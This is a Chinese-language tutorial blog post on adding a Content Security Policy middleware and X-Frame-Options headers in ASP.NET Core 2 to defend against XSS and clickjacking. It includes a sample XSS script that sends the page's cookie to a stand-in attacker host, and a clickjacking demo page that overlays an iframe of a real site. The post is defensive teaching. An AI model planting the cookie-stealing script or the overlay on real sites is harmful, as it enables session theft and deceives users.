[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy)

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跨網站腳本 (Cross-Site Scripting, XSS) 攻擊是常見的攻擊手法，有效的阻擋方式是透過網頁內容安全政策 (Content Security Policy, CSP) 規範，告知瀏覽器發出的 Request 位置是否受信任，阻擋非預期的對外連線，加強網站安全性。
本篇將介紹 ASP.NET Core 自製 CSP Middleware 防止 XSS 攻擊。
另外，做範例的過程中，剛好發現 iT 邦幫忙 沒有擋 Clickjacking，所以就順便補充。

iT 邦幫忙 2018 鐵人賽 - Modern Web 組參賽文章：
[Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy)

XSS 介紹

攻擊者可能透過任何形式的漏洞，在網站中安插惡意的程式碼，例如：

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<script>
    var req = new XMLHttpRequest();
    req.open("GET", "https://attacker.johnwu.cc?cookie="+document.cookie);
    req.send();
</script>

當使用者開啟頁面，Cookie 就被送走了。情境如下：

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - XSS 介紹

CSP 介紹

CSP 是瀏覽器提供網站設定白名單的機制，網站可以告知瀏覽器，該網頁有哪些位置可以連、哪些位置不能連。現行大部分的瀏覽器都有支援 CSP，可以從 Can I use Content Security Policy 查看支援的瀏覽器及版本。

CSP 的設定方式有兩種：

  1. HTTP Header 加入 Content-Security-Policy: {Policy}
    當有不符合安全政策的情況，瀏覽器就會提報錯誤， 並終止該行為執行。
  2. HTTP Header 加入 Content-Security-Policy-Report-Only: {Policy}
    當有不符合安全政策的情況，瀏覽器就會提報錯誤， 但會繼續執行 。

    主要用於測試用，怕網站直接套上 CSP 導致功能不正常。

  3. HTML 加入 <meta>
    在 HTML <head> 區塊加入 <meta http-equiv="Content-Security-Policy" content="{Policy}">。
    當有不符合安全政策的情況，瀏覽器就會提報錯誤， 並終止該行為執行。

    <meta> 的方式不支援 Report-Only 的方式。

CSP 範例

建立一個簡單的範例 HTML，分別載入內外部資源，如下：

Views/Home/Index.cshtml

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<!DOCTYPE html>
<html>

<head>
    <meta name="viewport" content="width=device-width" />
    <title>CSP Sample</title>

    <link rel="stylesheet" href="/css/fonts.css?csp-sample" />
    <link rel="stylesheet" href="https://blog.johnwu.cc/css/fonts.css?csp-sample" />
</head>

<body>
    <h1>CSP Sample</h1>
    <table>
        <tr>
            <th>類別</th>
            <th>內部資源</th>
            <th>外部資源</th>
        </tr>
        <tr>
            <td>圖片</td>
            <td>
                <img width="100" src="/images/icon.png?csp-sample" />
            </td>
            <td>
                <img width="100" src="https://blog.johnwu.cc/images/icon.png?csp-sample" />
            </td>
        </tr>
        <tr>
            <td>IFrame</td>
            <td>
                <iframe width="180" height="180" src="/home/iframe?csp-sample"></iframe>
            </td>
            <td>
                <iframe width="180" height="180" src="https://ithelp.ithome.com.tw?csp-sample"></iframe>
            </td>
        </tr>
    </table>
    <script src="/js/jquery-2.2.4.min.js?csp-sample"></script>
    <script src="https://blog.johnwu.cc/js/lib/jquery-2.2.4.min.js?csp-sample"></script>
</body>

</html>

在未使用 CSP 前，內容都是可以正常顯示，輸出畫面如下：

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 未使用 CSP 範例

在 Startup.Configure 註冊一個 Pipeline，把每個 Requset 都加上 CSP 的 HTTP Header，如下：

Startup.cs

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using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddMvc();
        }

        public void Configure(IApplicationBuilder app)
        {
            app.Use(async (context, next) =>
            {
                context.Response.Headers.Add(
                    "Content-Security-Policy",
                    "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
                );
                await next();
            });
            app.UseStaticFiles();
            app.UseMvcWithDefaultRoute();
        }
    }
}

套用 CSP 後，輸出畫面如下：

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 使用 CSP 範例

CSP 指令 (Directives)

上圖套用 CSP 後，連內部的 IFrame 都不顯示，主要是因為 CSP 指令的關係。
CSP 指令可以限制發出 Request 獲取資源的類型以及位置，指令的使用格式如下：

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Response Headers
  Content-Security-Policy: {CSP 指令} {位置}; {CSP 指令} {位置} {..位置..} {位置};

以 ; 區分多個指令，以空格區分多個白名單位置。

常用的 CSP 指令如下：

  • default-src
    預設所有類型的載入都使用這個規則。
  • connect-src
    載入 Ajax、Web Socket 套用的規則。
  • font-src
    載入字型套用的規則。
  • frame-src
    載入 IFrame 套用的規則。
  • img-src
    載入圖片套用的規則。
  • media-src
    載入影音標籤套用的規則。如：<audio>、<video>等。
  • object-src
    載入非影音標籤物件套用的規則。如：<object>、<embed>及<applet>等。
  • script-src
    載入 JavaScript 套用的規則。
  • style-src
    載入 Stylesheets (CSS) 套用的規則。
  • report-uri
    當瀏覽器發現 CSP 安全性問題時，就會提報錯誤給 report-uri 指定的網址。
    若使用 Content-Security-Policy-Report-Only 就需要搭配 report-uri。

    強烈建議使用回報功能，當被 XSS 攻擊時才會知道。

其他 CSP 指令可以參考 W3C 的 CSP 規範。

每個 CSP 指令可以限制一個或多個能發出 Request 的位置，設定參數如下：

  • *
    允許對任何位置發出 Request。
    如：default-src *;，允許載入來自任何地方、任何類型的資源。
  • 'none'
    不允許對任何位置發出 Request。
    如：media-src 'none';，不允許載入影音標籤。
  • 'self' 只允許同網域的位置發出 Request。
    如：script-src 'self';，只允許載入同網域的 *.js。
  • URL
    指定允許發出 Request 的位置，可搭配 * 使用。
    如：img-src http://cdn.johnwu.cc https:;，只允許從 http://cdn.johnwu.cc 或其他 HTTPS 的位置載入 *.css。

建立 CSP Middleware

上述 CSP 套用在 Header 的格式實在很容易打錯字，而且又是弱型別，日後實在不易維護。
所以可以自製一個 CSP Middleware 來包裝這 CSP，方便日後使用。

把 CSP 指令都變成強強型，如下：

  • CspDirective.cs

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    public class CspDirective
    {
        private readonly string _directive;

        internal CspDirective(string directive)
        {
            _directive = directive;
        }
        private List<string> _sources { get; set; } = new List<string>();
        public virtual CspDirective AllowAny() => Allow("*");
        public virtual CspDirective Disallow() => Allow("'none'");
        public virtual CspDirective AllowSelf() => Allow("'self'");
        public virtual CspDirective Allow(string source)
        {
            _sources.Add(source);
            return this;
        }
        public override string ToString() => _sources.Count > 0
            ? $"{_directive} {string.Join(" ", _sources)}; " : "";
    }

  • CspOptions.cs

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    public class CspOptions
    {
        public bool ReadOnly { get; set; }
        public CspDirective Defaults { get; set; } = new CspDirective("default-src");
        public CspDirective Connects { get; set; } = new CspDirective("connect-src");
        public CspDirective Fonts { get; set; } = new CspDirective("font-src");
        public CspDirective Frames { get; set; } = new CspDirective("frame-src");
        public CspDirective Images { get; set; } = new CspDirective("img-src");
        public CspDirective Media { get; set; } = new CspDirective("media-src");
        public CspDirective Objects { get; set; } = new CspDirective("object-src");
        public CspDirective Scripts { get; set; } = new CspDirective("script-src");
        public CspDirective Styles { get; set; } = new CspDirective("style-src");
        public string ReportURL { get; set; }
    }

然後建立 CSP 的 Middleware，如下：

CspMiddleware.cs

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public class CspMiddleware
{
    private readonly RequestDelegate _next;
    private readonly CspOptions _options;

    public CspMiddleware(RequestDelegate next, CspOptions options)
    {
        _next = next;
        _options = options;
    }

    private string Header => _options.ReadOnly
        ? "Content-Security-Policy-Report-Only" : "Content-Security-Policy";

    private string HeaderValue
    {
        get 
        {
          var stringBuilder = new StringBuilder();
          stringBuilder.Append(_options.Defaults);
          stringBuilder.Append(_options.Connects);
          stringBuilder.Append(_options.Fonts);
          stringBuilder.Append(_options.Frames);
          stringBuilder.Append(_options.Images);
          stringBuilder.Append(_options.Media);
          stringBuilder.Append(_options.Objects);
          stringBuilder.Append(_options.Scripts);
          stringBuilder.Append(_options.Styles);
          if (!string.IsNullOrEmpty(_options.ReportURL))
          {
              stringBuilder.Append($"report-uri {_options.ReportURL};");
          }
          return stringBuilder.ToString();
        }
    }
    
    public async Task Invoke(HttpContext context)
    {
        context.Response.Headers.Add(Header, HeaderValue);
        await _next(context);
    }
}

再用一個靜態方法包 CSP Middleware，方便註冊使用，如下：

CspMiddlewareExtensions.cs

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public static class CspMiddlewareExtensions
{
    public static IApplicationBuilder UseCsp(this IApplicationBuilder app, CspOptions options)
    {
        return app.UseMiddleware<CspMiddleware>(options);
    }
    public static IApplicationBuilder UseCsp(this IApplicationBuilder app, Action<CspOptions> optionsDelegate)
    {
        var options = new CspOptions();
        optionsDelegate(options);
        return app.UseMiddleware<CspMiddleware>(options);
    }
}

把原本註冊在 Startup.Configure 的 Pipeline 改成用 UseCsp 註冊，如下：

Startup.cs

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using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddMvc();
        }

        public void Configure(IApplicationBuilder app)
        {
            // app.Use(async (context, next) =>
            // {
            //     context.Response.Headers.Add(
            //         "Content-Security-Policy",
            //         "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
            //     );
            //     await next();
            // });
            app.UseCsp(options =>
            {
                options.Styles.Allow("https:");
                options.Images.AllowSelf();
                options.Frames.Disallow();
                options.Scripts.AllowSelf();
            });
            app.UseStaticFiles();
            app.UseMvcWithDefaultRoute();
        }
    }
}

一樣的 CSP 規則，強型別的註冊方式看起來感覺清爽多了。

Clickjacking 攻擊

Clickjacking 是一種透過 IFrame 的偽裝攻擊方式。
攻擊者可以透過嵌入被攻擊目標網頁，偽裝成目標網頁，進而攔截使用者的資料。如下圖：

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

紅色框現內的 IFrame 用 iT 邦幫忙 的頁面，然後在 Main Frame 透過 JavaScript 攔截使用者的操作事件，範例程式碼：

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<head>
    <meta name="viewport" content="width=device-width" />
    <title>Clickjacking Sample</title>
    <style>
        iframe {
            width: 98%;
            height: 75%;
        }

        .cover {
            position: absolute;
            top: 65px;
            width: 98%;
            height: 75%;
            background-color: rgba(255, 0, 0, .3);
        }
    </style>
    <script>
        var doSomething = function () {
            alert("你以為你在點誰？");
        };
    </script>
</head>

<body>
    <h1>Clickjacking Sample</h1>
    <div class="cover" onclick="doSomething();"></div>
    <iframe src="https://ithelp.ithome.com.tw/"></iframe>
</body>

</html>

當使用者以為點擊到被攻擊目標，實際上點到的是偽裝的網站，如圖：

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

X-Frame-Options

Clickjacking 攻擊可以透過 CSP 的 frame-ancestors 防範，但似乎還不是所有瀏覽器都支援 frame-ancestors，較通用的方式是在 HTTP Header 加上 X-Frame-Options，通知瀏覽器該頁面是否能被當作 IFrame 使用。
延伸上面 CSP Middleware 的範例，建立一個 FrameOptionsDirective.cs 繼承 CspDirective，如下：

FrameOptionsDirective.cs

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public class FrameOptionsDirective : CspDirective
{
    public FrameOptionsDirective() : base("frame-ancestors")
    {

    }
    public string XFrameOptions { get; private set; }
    public override CspDirective AllowAny()
    {
        XFrameOptions = "";
        return base.AllowAny();
    }
    public override CspDirective Disallow()
    {
        XFrameOptions = "deny";
        return base.Disallow();
    }
    public override CspDirective AllowSelf()
    {
        XFrameOptions = "sameorigin";
        return base.AllowSelf();
    }
    public override CspDirective Allow(string source)
    {
        XFrameOptions = $"allow-from {source}";
        return base.Allow(source);
    }
}

CspOptions.cs

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public class CspOptions
{
    // ...
    public FrameOptionsDirective FrameAncestors { get; set; } = new FrameOptionsDirective();
}

CspMiddleware.cs

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public class CspMiddleware
{
    private string HeaderValue
    {
        get
        {
            // ...
            stringBuilder.Append(_options.FrameAncestors);
            return stringBuilder.ToString();
        }
    }

    public async Task Invoke(HttpContext context)
    {
        context.Response.Headers.Add(Header, HeaderValue);
        if (!string.IsNullOrEmpty(_options.FrameAncestors.XFrameOptions))
        {
            context.Response.Headers.Add("X-Frame-Options", _options.FrameAncestors.XFrameOptions);
        }
        await _next(context);
    }
}

Startup.cs

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public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseCsp(options =>
        {
            // ...
            options.FrameAncestors.Allow("https://blog.johnwu.cc");
        });
        // ...
    }
}

X-Frame-Options 不支援多個網域，如果要設定多個網域，建議搭配著 CSP 的 frame-ancestors 使用。

設定完成後，當被未允許的 Domain 嵌入為 IFrame 頁面時，瀏覽器就提報錯誤。
把上面範例程式碼的 IFrame URL 改為 https://www.google.com.tw/。
Google 有設定 X-Frame-Options 為 sameorigin ，所以會產生錯誤訊息，如下：

Refused to display ‘https://www.google.com.tw/‘ in a frame because it set ‘X-Frame-Options’ to ‘sameorigin’.

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - X-Frame-Options

參考

USING CSP HEADER IN ASP.NET CORE 2.0
Content Security Policy Level 3
Content-Security-Policy - HTTP Headers 的資安議題 (2)
[翻譯] 我是這樣拿走大家網站上的信用卡號跟密碼的(推薦閱讀)

ASP.NET Core Middleware Security iT 邦幫忙 2018 鐵人賽 CSP